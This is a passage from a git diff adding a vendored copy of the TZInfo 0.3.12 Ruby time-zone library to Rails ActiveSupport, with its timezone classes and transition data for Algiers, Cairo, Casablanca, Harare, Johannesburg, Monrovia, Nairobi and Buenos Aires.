directory containing this file to the start of the load path if it +# isn't there already. +$:.unshift(File.dirname(__FILE__)) unless + $:.include?(File.dirname(__FILE__)) || $:.include?(File.expand_path(File.dirname(__FILE__))) + +require 'tzinfo/timezone' +# require 'tzinfo/country' +# require 'tzinfo/tzdataparser' +# require 'tzinfo/timezone_proxy' +require 'tzinfo/data_timezone' +require 'tzinfo/linked_timezone' \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb new file mode 100644 index 00000000..5eccbdf0 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb @@ -0,0 +1,47 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'tzinfo/info_timezone' + +module TZInfo + + # A Timezone based on a DataTimezoneInfo. + class DataTimezone < InfoTimezone #:nodoc: + + # Returns the TimezonePeriod for the given UTC time. utc can either be + # a DateTime, Time or integer timestamp (Time.to_i). Any timezone + # information in utc is ignored (it is treated as a UTC time). + # + # If no TimezonePeriod could be found, PeriodNotFound is raised. + def period_for_utc(utc) + info.period_for_utc(utc) + end + + # Returns the set of TimezonePeriod instances that are valid for the given + # local time as an array. If you just want a single period, use + # period_for_local instead and specify how abiguities should be resolved. + # Raises PeriodNotFound if no periods are found for the given time. + def periods_for_local(local) + info.periods_for_local(local) + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb new file mode 100644 index 00000000..a45d9455 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb @@ -0,0 +1,228 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'tzinfo/time_or_datetime' +require 'tzinfo/timezone_info' +require 'tzinfo/timezone_offset_info' +require 'tzinfo/timezone_period' +require 'tzinfo/timezone_transition_info' + +module TZInfo + # Thrown if no offsets have been defined when calling period_for_utc or + # periods_for_local. Indicates an error in the timezone data. + class NoOffsetsDefined < StandardError + end + + # Represents a (non-linked) timezone defined in a data module. + class DataTimezoneInfo < TimezoneInfo #:nodoc: + + # Constructs a new TimezoneInfo with its identifier. + def initialize(identifier) + super(identifier) + @offsets = {} + @transitions = [] + @previous_offset = nil + @transitions_index = nil + end + + # Defines a offset. The id uniquely identifies this offset within the + # timezone. utc_offset and std_offset define the offset in seconds of + # standard time from UTC and daylight savings from standard time + # respectively. abbreviation describes the timezone offset (e.g. GMT, BST, + # EST or EDT). + # + # The first offset to be defined is treated as the offset that applies + # until the first transition. This will usually be in Local Mean Time (LMT). + # + # ArgumentError will be raised if the id is already defined. + def offset(id, utc_offset, std_offset, abbreviation) + raise ArgumentError, 'Offset already defined' if @offsets.has_key?(id) + + offset = TimezoneOffsetInfo.new(utc_offset, std_offset, abbreviation) + @offsets[id] = offset + @previous_offset = offset unless @previous_offset + end + + # Defines a transition. Transitions must be defined in chronological order. + # ArgumentError will be raised if a transition is added out of order. + # offset_id refers to an id defined with offset. ArgumentError will be + # raised if the offset_id cannot be found. numerator_or_time and + # denomiator specify the time the transition occurs as. See + # TimezoneTransitionInfo for more detail about specifying times. + def transition(year, month, offset_id, numerator_or_time, denominator = nil) + offset = @offsets[offset_id] + raise ArgumentError, 'Offset not found' unless offset + + if @transitions_index + if year < @last_year || (year == @last_year && month < @last_month) + raise ArgumentError, 'Transitions must be increasing date order' + end + + # Record the position of the first transition with this index. + index = transition_index(year, month) + @transitions_index[index] ||= @transitions.length + + # Fill in any gaps + (index - 1).downto(0) do |i| + break if @transitions_index[i] + @transitions_index[i] = @transitions.length + end + else + @transitions_index = [@transitions.length] + @start_year = year + @start_month = month + end + + @transitions << TimezoneTransitionInfo.new(offset, @previous_offset, + numerator_or_time, denominator) + @last_year = year + @last_month = month + @previous_offset = offset + end + + # Returns the TimezonePeriod for the given UTC time. + # Raises NoOffsetsDefined if no offsets have been defined. + def period_for_utc(utc) + unless @transitions.empty? + utc = TimeOrDateTime.wrap(utc) + index = transition_index(utc.year, utc.mon) + + start_transition = nil + start = transition_before_end(index) + if start + start.downto(0) do |i| + if @transitions[i].at <= utc + start_transition = @transitions[i] + break + end + end + end + + end_transition = nil + start = transition_after_start(index) + if start + start.upto(@transitions.length - 1) do |i| + if @transitions[i].at > utc + end_transition = @transitions[i] + break + end + end + end + + if start_transition || end_transition + TimezonePeriod.new(start_transition, end_transition) + else + # Won't happen since there are transitions. Must always find one + # transition that is either >= or < the specified time. + raise 'No transitions found in search' + end + else + raise NoOffsetsDefined, 'No offsets have been defined' unless @previous_offset + TimezonePeriod.new(nil, nil, @previous_offset) + end + end + + # Returns the set of TimezonePeriods for the given local time as an array. + # Results returned are ordered by increasing UTC start date. + # Returns an empty array if no periods are found for the given time. + # Raises NoOffsetsDefined if no offsets have been defined. + def periods_for_local(local) + unless @transitions.empty? + local = TimeOrDateTime.wrap(local) + index = transition_index(local.year, local.mon) + + result = [] + + start_index = transition_after_start(index - 1) + if start_index && @transitions[start_index].local_end > local + if start_index > 0 + if @transitions[start_index - 1].local_start <= local + result << TimezonePeriod.new(@transitions[start_index - 1], @transitions[start_index]) + end + else + result << TimezonePeriod.new(nil, @transitions[start_index]) + end + end + + end_index = transition_before_end(index + 1) + + if end_index + start_index = end_index unless start_index + + start_index.upto(transition_before_end(index + 1)) do |i| + if @transitions[i].local_start <= local + if i + 1 < @transitions.length + if @transitions[i + 1].local_end > local + result << TimezonePeriod.new(@transitions[i], @transitions[i + 1]) + end + else + result << TimezonePeriod.new(@transitions[i], nil) + end + end + end + end + + result + else + raise NoOffsetsDefined, 'No offsets have been defined' unless @previous_offset + [TimezonePeriod.new(nil, nil, @previous_offset)] + end + end + + private + # Returns the index into the @transitions_index array for a given year + # and month. + def transition_index(year, month) + index = (year - @start_year) * 2 + index += 1 if month > 6 + index -= 1 if @start_month > 6 + index + end + + # Returns the index into @transitions of the first transition that occurs + # on or after the start of the given index into @transitions_index. + # Returns nil if there are no such transitions. + def transition_after_start(index) + if index >= @transitions_index.length + nil + else + index = 0 if index < 0 + @transitions_index[index] + end + end + + # Returns the index into @transitions of the first transition that occurs + # before the end of the given index into @transitions_index. + # Returns nil if there are no such transitions. + def transition_before_end(index) + index = index + 1 + + if index <= 0 + nil + elsif index >= @transitions_index.length + @transitions.length - 1 + else + @transitions_index[index] - 1 + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb new file mode 100644 index 00000000..8c5f2557 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb @@ -0,0 +1,55 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Africa + module Algiers + include TimezoneDefinition + + timezone 'Africa/Algiers' do |tz| + tz.offset :o0, 732, 0, :LMT + tz.offset :o1, 561, 0, :PMT + tz.offset :o2, 0, 0, :WET + tz.offset :o3, 0, 3600, :WEST + tz.offset :o4, 3600, 0, :CET + tz.offset :o5, 3600, 3600, :CEST + + tz.transition 1891, 3, :o1, 2170625843, 900 + tz.transition 1911, 3, :o2, 69670267013, 28800 + tz.transition 1916, 6, :o3, 58104707, 24 + tz.transition 1916, 10, :o2, 58107323, 24 + tz.transition 1917, 3, :o3, 58111499, 24 + tz.transition 1917, 10, :o2, 58116227, 24 + tz.transition 1918, 3, :o3, 58119899, 24 + tz.transition 1918, 10, :o2, 58124963, 24 + tz.transition 1919, 3, :o3, 58128467, 24 + tz.transition 1919, 10, :o2, 58133699, 24 + tz.transition 1920, 2, :o3, 58136867, 24 + tz.transition 1920, 10, :o2, 58142915, 24 + tz.transition 1921, 3, :o3, 58146323, 24 + tz.transition 1921, 6, :o2, 58148699, 24 + tz.transition 1939, 9, :o3, 58308443, 24 + tz.transition 1939, 11, :o2, 4859173, 2 + tz.transition 1940, 2, :o4, 29156215, 12 + tz.transition 1944, 4, :o5, 58348405, 24 + tz.transition 1944, 10, :o4, 4862743, 2 + tz.transition 1945, 4, :o5, 58357141, 24 + tz.transition 1945, 9, :o4, 58361147, 24 + tz.transition 1946, 10, :o2, 58370411, 24 + tz.transition 1956, 1, :o4, 4871003, 2 + tz.transition 1963, 4, :o2, 58515203, 24 + tz.transition 1971, 4, :o3, 41468400 + tz.transition 1971, 9, :o2, 54774000 + tz.transition 1977, 5, :o3, 231724800 + tz.transition 1977, 10, :o4, 246236400 + tz.transition 1978, 3, :o5, 259545600 + tz.transition 1978, 9, :o4, 275274000 + tz.transition 1979, 10, :o2, 309740400 + tz.transition 1980, 4, :o3, 325468800 + tz.transition 1980, 10, :o2, 341802000 + tz.transition 1981, 5, :o4, 357523200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb new file mode 100644 index 00000000..6e6daf35 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb @@ -0,0 +1,219 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Africa + module Cairo + include TimezoneDefinition + + timezone 'Africa/Cairo' do |tz| + tz.offset :o0, 7500, 0, :LMT + tz.offset :o1, 7200, 0, :EET + tz.offset :o2, 7200, 3600, :EEST + + tz.transition 1900, 9, :o1, 695604503, 288 + tz.transition 1940, 7, :o2, 29157905, 12 + tz.transition 1940, 9, :o1, 19439227, 8 + tz.transition 1941, 4, :o2, 29161193, 12 + tz.transition 1941, 9, :o1, 19442027, 8 + tz.transition 1942, 3, :o2, 29165405, 12 + tz.transition 1942, 10, :o1, 19445275, 8 + tz.transition 1943, 3, :o2, 29169785, 12 + tz.transition 1943, 10, :o1, 19448235, 8 + tz.transition 1944, 3, :o2, 29174177, 12 + tz.transition 1944, 10, :o1, 19451163, 8 + tz.transition 1945, 4, :o2, 29178737, 12 + tz.transition 1945, 10, :o1, 19454083, 8 + tz.transition 1957, 5, :o2, 29231621, 12 + tz.transition 1957, 9, :o1, 19488899, 8 + tz.transition 1958, 4, :o2, 29235893, 12 + tz.transition 1958, 9, :o1, 19491819, 8 + tz.transition 1959, 4, :o2, 58480547, 24 + tz.transition 1959, 9, :o1, 4873683, 2 + tz.transition 1960, 4, :o2, 58489331, 24 + tz.transition 1960, 9, :o1, 4874415, 2 + tz.transition 1961, 4, :o2, 58498091, 24 + tz.transition 1961, 9, :o1, 4875145, 2 + tz.transition 1962, 4, :o2, 58506851, 24 + tz.transition 1962, 9, :o1, 4875875, 2 + tz.transition 1963, 4, :o2, 58515611, 24 + tz.transition 1963, 9, :o1, 4876605, 2 + tz.transition 1964, 4, :o2, 58524395, 24 + tz.transition 1964, 9, :o1, 4877337, 2 + tz.transition 1965, 4, :o2, 58533155, 24 + tz.transition 1965, 9, :o1, 4878067, 2 + tz.transition 1966, 4, :o2, 58541915, 24 + tz.transition 1966, 10, :o1, 4878799, 2 + tz.transition 1967, 4, :o2, 58550675, 24 + tz.transition 1967, 10, :o1, 4879529, 2 + tz.transition 1968, 4, :o2, 58559459, 24 + tz.transition 1968, 10, :o1, 4880261, 2 + tz.transition 1969, 4, :o2, 58568219, 24 + tz.transition 1969, 10, :o1, 4880991, 2 + tz.transition 1970, 4, :o2, 10364400 + tz.transition 1970, 10, :o1, 23587200 + tz.transition 1971, 4, :o2, 41900400 + tz.transition 1971, 10, :o1, 55123200 + tz.transition 1972, 4, :o2, 73522800 + tz.transition 1972, 10, :o1, 86745600 + tz.transition 1973, 4, :o2, 105058800 + tz.transition 1973, 10, :o1, 118281600 + tz.transition 1974, 4, :o2, 136594800 + tz.transition 1974, 10, :o1, 149817600 + tz.transition 1975, 4, :o2, 168130800 + tz.transition 1975, 10, :o1, 181353600 + tz.transition 1976, 4, :o2, 199753200 + tz.transition 1976, 10, :o1, 212976000 + tz.transition 1977, 4, :o2, 231289200 + tz.transition 1977, 10, :o1, 244512000 + tz.transition 1978, 4, :o2, 262825200 + tz.transition 1978, 10, :o1, 276048000 + tz.transition 1979, 4, :o2, 294361200 + tz.transition 1979, 10, :o1, 307584000 + tz.transition 1980, 4, :o2, 325983600 + tz.transition 1980, 10, :o1, 339206400 + tz.transition 1981, 4, :o2, 357519600 + tz.transition 1981, 10, :o1, 370742400 + tz.transition 1982, 7, :o2, 396399600 + tz.transition 1982, 10, :o1, 402278400 + tz.transition 1983, 7, :o2, 426812400 + tz.transition 1983, 10, :o1, 433814400 + tz.transition 1984, 4, :o2, 452214000 + tz.transition 1984, 10, :o1, 465436800 + tz.transition 1985, 4, :o2, 483750000 + tz.transition 1985, 10, :o1, 496972800 + tz.transition 1986, 4, :o2, 515286000 + tz.transition 1986, 10, :o1, 528508800 + tz.transition 1987, 4, :o2, 546822000 + tz.transition 1987, 10, :o1, 560044800 + tz.transition 1988, 4, :o2, 578444400 + tz.transition 1988, 10, :o1, 591667200 + tz.transition 1989, 5, :o2, 610412400 + tz.transition 1989, 10, :o1, 623203200 + tz.transition 1990, 4, :o2, 641516400 + tz.transition 1990, 10, :o1, 654739200 + tz.transition 1991, 4, :o2, 673052400 + tz.transition 1991, 10, :o1, 686275200 + tz.transition 1992, 4, :o2, 704674800 + tz.transition 1992, 10, :o1, 717897600 + tz.transition 1993, 4, :o2, 736210800 + tz.transition 1993, 10, :o1, 749433600 + tz.transition 1994, 4, :o2, 767746800 + tz.transition 1994, 10, :o1, 780969600 + tz.transition 1995, 4, :o2, 799020000 + tz.transition 1995, 9, :o1, 812322000 + tz.transition 1996, 4, :o2, 830469600 + tz.transition 1996, 9, :o1, 843771600 + tz.transition 1997, 4, :o2, 861919200 + tz.transition 1997, 9, :o1, 875221200 + tz.transition 1998, 4, :o2, 893368800 + tz.transition 1998, 9, :o1, 906670800 + tz.transition 1999, 4, :o2, 925423200 + tz.transition 1999, 9, :o1, 938725200 + tz.transition 2000, 4, :o2, 956872800 + tz.transition 2000, 9, :o1, 970174800 + tz.transition 2001, 4, :o2, 988322400 + tz.transition 2001, 9, :o1, 1001624400 + tz.transition 2002, 4, :o2, 1019772000 + tz.transition 2002, 9, :o1, 1033074000 + tz.transition 2003, 4, :o2, 1051221600 + tz.transition 2003, 9, :o1, 1064523600 + tz.transition 2004, 4, :o2, 1083276000 + tz.transition 2004, 9, :o1, 1096578000 + tz.transition 2005, 4, :o2, 1114725600 + tz.transition 2005, 9, :o1, 1128027600 + tz.transition 2006, 4, :o2, 1146175200 + tz.transition 2006, 9, :o1, 1158872400 + tz.transition 2007, 4, :o2, 1177624800 + tz.transition 2007, 9, :o1, 1189112400 + tz.transition 2008, 4, :o2, 1209074400 + tz.transition 2008, 8, :o1, 1219957200 + tz.transition 2009, 4, :o2, 1240524000 + tz.transition 2009, 8, :o1, 1251406800 + tz.transition 2010, 4, :o2, 1272578400 + tz.transition 2010, 8, :o1, 1282856400 + tz.transition 2011, 4, :o2, 1304028000 + tz.transition 2011, 8, :o1, 1314306000 + tz.transition 2012, 4, :o2, 1335477600 + tz.transition 2012, 8, :o1, 1346360400 + tz.transition 2013, 4, :o2, 1366927200 + tz.transition 2013, 8, :o1, 1377810000 + tz.transition 2014, 4, :o2, 1398376800 + tz.transition 2014, 8, :o1, 1409259600 + tz.transition 2015, 4, :o2, 1429826400 + tz.transition 2015, 8, :o1, 1440709200 + tz.transition 2016, 4, :o2, 1461880800 + tz.transition 2016, 8, :o1, 1472158800 + tz.transition 2017, 4, :o2, 1493330400 + tz.transition 2017, 8, :o1, 1504213200 + tz.transition 2018, 4, :o2, 1524780000 + tz.transition 2018, 8, :o1, 1535662800 + tz.transition 2019, 4, :o2, 1556229600 + tz.transition 2019, 8, :o1, 1567112400 + tz.transition 2020, 4, :o2, 1587679200 + tz.transition 2020, 8, :o1, 1598562000 + tz.transition 2021, 4, :o2, 1619733600 + tz.transition 2021, 8, :o1, 1630011600 + tz.transition 2022, 4, :o2, 1651183200 + tz.transition 2022, 8, :o1, 1661461200 + tz.transition 2023, 4, :o2, 1682632800 + tz.transition 2023, 8, :o1, 1693515600 + tz.transition 2024, 4, :o2, 1714082400 + tz.transition 2024, 8, :o1, 1724965200 + tz.transition 2025, 4, :o2, 1745532000 + tz.transition 2025, 8, :o1, 1756414800 + tz.transition 2026, 4, :o2, 1776981600 + tz.transition 2026, 8, :o1, 1787864400 + tz.transition 2027, 4, :o2, 1809036000 + tz.transition 2027, 8, :o1, 1819314000 + tz.transition 2028, 4, :o2, 1840485600 + tz.transition 2028, 8, :o1, 1851368400 + tz.transition 2029, 4, :o2, 1871935200 + tz.transition 2029, 8, :o1, 1882818000 + tz.transition 2030, 4, :o2, 1903384800 + tz.transition 2030, 8, :o1, 1914267600 + tz.transition 2031, 4, :o2, 1934834400 + tz.transition 2031, 8, :o1, 1945717200 + tz.transition 2032, 4, :o2, 1966888800 + tz.transition 2032, 8, :o1, 1977166800 + tz.transition 2033, 4, :o2, 1998338400 + tz.transition 2033, 8, :o1, 2008616400 + tz.transition 2034, 4, :o2, 2029788000 + tz.transition 2034, 8, :o1, 2040670800 + tz.transition 2035, 4, :o2, 2061237600 + tz.transition 2035, 8, :o1, 2072120400 + tz.transition 2036, 4, :o2, 2092687200 + tz.transition 2036, 8, :o1, 2103570000 + tz.transition 2037, 4, :o2, 2124136800 + tz.transition 2037, 8, :o1, 2135019600 + tz.transition 2038, 4, :o2, 29586521, 12 + tz.transition 2038, 8, :o1, 19725299, 8 + tz.transition 2039, 4, :o2, 29590889, 12 + tz.transition 2039, 8, :o1, 19728211, 8 + tz.transition 2040, 4, :o2, 29595257, 12 + tz.transition 2040, 8, :o1, 19731179, 8 + tz.transition 2041, 4, :o2, 29599625, 12 + tz.transition 2041, 8, :o1, 19734091, 8 + tz.transition 2042, 4, :o2, 29603993, 12 + tz.transition 2042, 8, :o1, 19737003, 8 + tz.transition 2043, 4, :o2, 29608361, 12 + tz.transition 2043, 8, :o1, 19739915, 8 + tz.transition 2044, 4, :o2, 29612813, 12 + tz.transition 2044, 8, :o1, 19742827, 8 + tz.transition 2045, 4, :o2, 29617181, 12 + tz.transition 2045, 8, :o1, 19745795, 8 + tz.transition 2046, 4, :o2, 29621549, 12 + tz.transition 2046, 8, :o1, 19748707, 8 + tz.transition 2047, 4, :o2, 29625917, 12 + tz.transition 2047, 8, :o1, 19751619, 8 + tz.transition 2048, 4, :o2, 29630285, 12 + tz.transition 2048, 8, :o1, 19754531, 8 + tz.transition 2049, 4, :o2, 29634737, 12 + tz.transition 2049, 8, :o1, 19757443, 8 + tz.transition 2050, 4, :o2, 29639105, 12 + tz.transition 2050, 8, :o1, 19760355, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb new file mode 100644 index 00000000..d1eb5c57 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb @@ -0,0 +1,40 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Africa + module Casablanca + include TimezoneDefinition + + timezone 'Africa/Casablanca' do |tz| + tz.offset :o0, -1820, 0, :LMT + tz.offset :o1, 0, 0, :WET + tz.offset :o2, 0, 3600, :WEST + tz.offset :o3, 3600, 0, :CET + + tz.transition 1913, 10, :o1, 10454687371, 4320 + tz.transition 1939, 9, :o2, 4859037, 2 + tz.transition 1939, 11, :o1, 58310075, 24 + tz.transition 1940, 2, :o2, 4859369, 2 + tz.transition 1945, 11, :o1, 58362659, 24 + tz.transition 1950, 6, :o2, 4866887, 2 + tz.transition 1950, 10, :o1, 58406003, 24 + tz.transition 1967, 6, :o2, 2439645, 1 + tz.transition 1967, 9, :o1, 58554347, 24 + tz.transition 1974, 6, :o2, 141264000 + tz.transition 1974, 8, :o1, 147222000 + tz.transition 1976, 5, :o2, 199756800 + tz.transition 1976, 7, :o1, 207702000 + tz.transition 1977, 5, :o2, 231292800 + tz.transition 1977, 9, :o1, 244249200 + tz.transition 1978, 6, :o2, 265507200 + tz.transition 1978, 8, :o1, 271033200 + tz.transition 1984, 3, :o3, 448243200 + tz.transition 1985, 12, :o1, 504918000 + tz.transition 2008, 6, :o2, 1212278400 + tz.transition 2008, 8, :o1, 1220223600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb new file mode 100644 index 00000000..070c95ae --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb @@ -0,0 +1,18 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Africa + module Harare + include TimezoneDefinition + + timezone 'Africa/Harare' do |tz| + tz.offset :o0, 7452, 0, :LMT + tz.offset :o1, 7200, 0, :CAT + + tz.transition 1903, 2, :o1, 1932939531, 800 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb new file mode 100644 index 00000000..f0af0d8e --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb @@ -0,0 +1,25 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Africa + module Johannesburg + include TimezoneDefinition + + timezone 'Africa/Johannesburg' do |tz| + tz.offset :o0, 6720, 0, :LMT + tz.offset :o1, 5400, 0, :SAST + tz.offset :o2, 7200, 0, :SAST + tz.offset :o3, 7200, 3600, :SAST + + tz.transition 1892, 2, :o1, 108546139, 45 + tz.transition 1903, 2, :o2, 38658791, 16 + tz.transition 1942, 9, :o3, 4861245, 2 + tz.transition 1943, 3, :o2, 58339307, 24 + tz.transition 1943, 9, :o3, 4861973, 2 + tz.transition 1944, 3, :o2, 58348043, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb new file mode 100644 index 00000000..40e711fa --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb @@ -0,0 +1,22 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Africa + module Monrovia + include TimezoneDefinition + + timezone 'Africa/Monrovia' do |tz| + tz.offset :o0, -2588, 0, :LMT + tz.offset :o1, -2588, 0, :MMT + tz.offset :o2, -2670, 0, :LRT + tz.offset :o3, 0, 0, :GMT + + tz.transition 1882, 1, :o1, 52022445047, 21600 + tz.transition 1919, 3, :o2, 52315600247, 21600 + tz.transition 1972, 5, :o3, 73529070 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb new file mode 100644 index 00000000..7b0a2f43 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb @@ -0,0 +1,23 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Africa + module Nairobi + include TimezoneDefinition + + timezone 'Africa/Nairobi' do |tz| + tz.offset :o0, 8836, 0, :LMT + tz.offset :o1, 10800, 0, :EAT + tz.offset :o2, 9000, 0, :BEAT + tz.offset :o3, 9885, 0, :BEAUT + + tz.transition 1928, 6, :o1, 52389253391, 21600 + tz.transition 1929, 12, :o2, 19407819, 8 + tz.transition 1939, 12, :o3, 116622211, 48 + tz.transition 1959, 12, :o1, 14036742061, 5760 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb new file mode 100644 index 00000000..8f4dd31d --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb @@ -0,0 +1,166 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Argentina + module Buenos_Aires + include TimezoneDefinition + + timezone 'America/Argentina/Buenos_Aires' do |tz| + tz.offset :o0, -14028, 0, :LMT + tz.offset :o1, -15408, 0, :CMT + tz.offset :o2, -14400, 0, :ART + tz.offset :o3, -14400, 3600, :ARST + tz.offset :o4, -10800, 0, :ART + tz.offset :o5, -10800, 3600, :ARST + + tz.transition 1894, 10, :o1, 17374555169, 7200 + tz.transition 1920, 5, :o2, 1453467407, 600 + tz.transition 1930, 12, :o3, 7278935, 3 + tz.transition 1931, 4, :o2, 19411461, 8 + tz.transition 1931, 10, :o3, 7279889, 3 + tz.transition 1932, 3, :o2, 19414141, 8 + tz.transition 1932, 11, :o3, 7281038, 3 + tz.transition 1933, 3, :o2, 19417061, 8 + tz.transition 1933, 11, :o3, 7282133, 3 + tz.transition 1934, 3, :o2, 19419981, 8 + tz.transition 1934, 11, :o3, 7283228, 3 + tz.transition 1935, 3, :o2, 19422901, 8 + tz.transition 1935, 11, :o3, 7284323, 3 + tz.transition 1936, 3, :o2, 19425829, 8 + tz.transition 1936, 11, :o3, 7285421, 3 + tz.transition 1937, 3, :o2, 19428749, 8 + tz.transition 1937, 11, :o3, 7286516, 3 + tz.transition 1938, 3, :o2, 19431669, 8 + tz.transition 1938, 11, :o3, 7287611, 3 + tz.transition 1939, 3, :o2, 19434589, 8 + tz.transition 1939, 11, :o3, 7288706, 3 + tz.transition 1940, 3, :o2, 19437517, 8 + tz.transition 1940, 7, :o3, 7289435, 3 + tz.transition 1941, 6, :o2, 19441285, 8 + tz.transition 1941, 10, :o3, 7290848, 3 + tz.transition 1943, 8, :o2, 19447501, 8 + tz.transition 1943, 10, :o3, 7293038, 3 + tz.transition 1946, 3, :o2, 19455045, 8 + tz.transition 1946, 10, :o3, 7296284, 3 + tz.transition 1963, 10, :o2, 19506429, 8 + tz.transition 1963, 12, :o3, 7315136, 3 + tz.transition 1964, 3, :o2, 19507645, 8 + tz.transition 1964, 10, :o3, 7316051, 3 + tz.transition 1965, 3, :o2, 19510565, 8 + tz.transition 1965, 10, :o3, 7317146, 3 + tz.transition 1966, 3, :o2, 19513485, 8 + tz.transition 1966, 10, :o3, 7318241, 3 + tz.transition 1967, 4, :o2, 19516661, 8 + tz.transition 1967, 10, :o3, 7319294, 3 + tz.transition 1968, 4, :o2, 19519629, 8 + tz.transition 1968, 10, :o3, 7320407, 3 + tz.transition 1969, 4, :o2, 19522541, 8 + tz.transition 1969, 10, :o4, 